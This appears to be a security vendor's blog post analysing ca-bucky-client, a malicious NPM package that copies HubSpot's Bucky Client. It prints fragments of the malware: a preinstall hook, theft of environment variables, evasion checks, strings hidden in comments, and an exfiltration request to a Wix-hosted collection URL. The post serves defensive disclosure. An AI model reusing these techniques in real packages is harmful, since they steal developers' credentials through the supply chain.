Skip to content

NPM Malware Targeting HubSpot’s Bucky Client

Our risk analysis platform recently alerted us to a malicious package in the NPM ecosystem targeting Bucky Client, a project owned by HubSpot.

Published on

Sep 15, 2022

Written by

Louis Lang, CTO

Category

Research

Share

Our risk analysis platform recently alerted us to a malicious package in the NPM ecosystem targeting Bucky Client, a project owned by HubSpot. It is currently averaging around 600 installations per week.

The package in question is ca-bucky-client; we have reported this package to NPM, but as of this writing, it is still active in the NPM ecosystem.

ca-bucky-client

This package contains a variety of obfuscation mechanisms to thwart analysis, but the key takeaway is this: Any user that inadvertently installs this package will have their environment enumerated and sent to the remote actor. If this includes critical information (e.g., AWS access keys), it will fall into the hands of the malware author.

A Deep Dive

If you want to check out this malware for yourself, it’s available for download for free here.

This package first shipped with version 0.0.1 on July 13, 2022. It does not appear as though this particular version is successfully malicious. This version contains exactly one Javascript file, a README, and a package.json.


|-- README.md
|-- bucky.js
`-- package.json

The package.json includes a preinstall hook that executes bucky.js. This file appears to be a mostly functional equivalent to the legitimate bucky.js from early versions of the Bucky Client, with one minor change: require("xmlhttprequest") has been updated to require("./xmlhttprequest") to refer to a file on disk (which doesn’t exist yet).


// Execution will only occur on the server. This conditional is present in the 
// legitimate `bucky.js`.
if (isServer) {
    // NOTE: We now refer to a file on disk, NOT the `xmlhttprequest` package 
    // itself, as is the case in the legitimate `bucky.js`.
    XMLHttpRequest = require("./xmlhttprequest").XMLHttpRequest;
    return;
    now = function () {
        var time;
        time = process.hrtime();
        return (time[0] + time[1] / 1e9) * 1000;
    };
}

Subsequent versions of ca-bucky-client introduce this file, where a bulk of the maliciousness is located.

The Maliciousness: xmlhttprequest.js

A cursory review of this file from later versions of ca-bucky-client is, at the very least, suspicious. There are some basic and sometimes interesting attempts at preventing analysis, along with all the hallmarks of NPM malware.

The malware author grabs the environment variables from the machine on line 79:


var props = process.env || {};

They perform some system checks (see below for more details on a few of these checks) on line 168 and exit if any of these are hit:


if (
    exclude.some((entry) =>
      []
        .concat(entry)
        .every(
          (item) =>
            (props[item.key] || "").includes(item.val) || item.val === "*"
        )
    ) ||
    Object.keys(props).length < 10 ||
    !props.npm_package_name ||
    !props.npm_package_version ||
    /C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
      props.npm_package_json || ""
    ) ||
    /C:\\Users\\[^\\]+\\Downloads/.test(props.INIT_CWD || "") ||
    (props.npm_package_json || "").startsWith("/npm" + "/node_" + "modules/")
  ) {
    return;
  }

And finally, they send the data off to the remote service on line 190:


// This is _really_ an `http.request`. The last item on the URL path is the NPM 
// package name.
var res = http[type()](params.getOpts(props["npm_package_name"], "com")).on(
    "error",
    function (err) {}
);

This request is sent off to the following location, which appears to be abusing Wix Velo as a data collection service for this malware [1].


https://afxsiyf.wixsite.com/a1da4192a20/_functions/b8c9d47be/<npmPackageName>

 

A Smattering of Interesting Behaviors

Putting the TP in TTP

All data dumped by the actor is sent as an encoded base64 string. However, these aren’t just any base64 strings. The actor decided to add a little something extra to the encoded string to thwart analysis.


function asB64(buff) {
    var d = buff.toString("base64");
    return d.slice(0, 2) + "poo" + d.slice(2);
}

Presumably, this is a rudimentary attempt at preventing decoding of the encoded strings. One might say an interesting tactic, technique, or procedure.

Storing Bits in Comments

This actor isn’t completely incompetent, however. They did implement some interesting mechanisms that do slow analysis; at least for a short while. On line 15, we see the following function definition:


function type() {
  function propGetter(prop) {
    // 1. west
    // 2. question
    // 3. Ireland

    return propValue(propGetter, prop) || ["question", "west", "Ireland"][prop];
  }

  const idxs = [
    [2, 4],
    [0, 3],
    [1, 3],
  ];

  return [0, 1, 2]
    .map((i) => propGetter(i).slice(idxs[i][0], idxs[i][1]))
    .reverse()
    .join("");
}

If your first inclination is to clean this up by removing the comments, don’t! They are part of the execution path. The function propValue actually reads the source of the functions it is given.


function propValue(getter, prop) {
  var c = getter 
    .toString()                               // (1)
    .split("\n")                              // (2)
    .filter((x) => x.trim().startsWith("//")) // (3)
    .map((x) => x.trim().split(" ").pop());   // (4)
  return typeof getter === "function" ? c[prop] : getter(prop);
}

This function:

  1. Gets the function source from the getter parameter
  2. Splits the source up by newlines
  3. Finds any lines that start with double slashes (i.e., comment lines)
  4. Splits the comment lines up by spaces and takes the last word on that line

This means we will get west, question and Ireland from the execution of propGetter(...) in type(). We will then take offsets [2,4] [0,3] and [1,3] from each respective word to get st que and re. Once the array containing these values is reversed and joined, we get request which is the function we call to construct our HTTP request.

type() is called on line 190:


http[type()](...)

Which (after deobfuscation) becomes:


http["request"](...)

Environment Checks

This malware also performs a variety of checks before continuing with execution and prematurely exits if any of them are triggered. Some interesting items it looks for includes:

  • The presence of mitmproxy certificates in node_extra_ca_certs
  • Configured NPM registries for taobao.org, registry.npmmirror.com, cnpmjs.org, mirrors.cloud.tencent.com and mirrors.tencent.com in npm_config_registry [2]
  • Whether or not the OS username is “Justin.”

    
    { key: "USERNAME", val: "justin" } 
    

    Could it be that “Justin” wants to ensure they don’t inadvertently execute their malware? [3]

Footnotes

[1] We reported this abuse to Wix, which promptly deactivated the site.

[2] This is presumably a simple check to avoid targeting users from specific regions.

[3] If you’re reading this Justin, /r/masterhacker, is expecting you. Oh, and also, please stop polluting our open-source ecosystems with this nonsense.

Subscribe to Our Research

Subscribe to Our Research

Latest Articles

Disrupting a PyPI Software Supply Chain Threat Actor
Research   |   Nov 22, 2022

Disrupting a PyPI Software Supply Chain Threat Actor

Phylum disrupts software supply chain attacker attempting to constru...

W4SP Stealer Update—Attacker now Attempting to Masquerade as Popular Orgs
Research   |   Nov 18, 2022

W4SP Stealer Update—Attacker now Attempting to Masquerade as Popular Orgs

Phylum's team has discovered more PyPI packages attempting to delive...

Malicious Python Packages Replace Crypto Addresses in Developer Clipboards
Malware   |   Nov 07, 2022

Malicious Python Packages Replace Crypto Addresses in Developer Clipboards

Phylum uncovers a new campaign targeting Python developers. Malware ...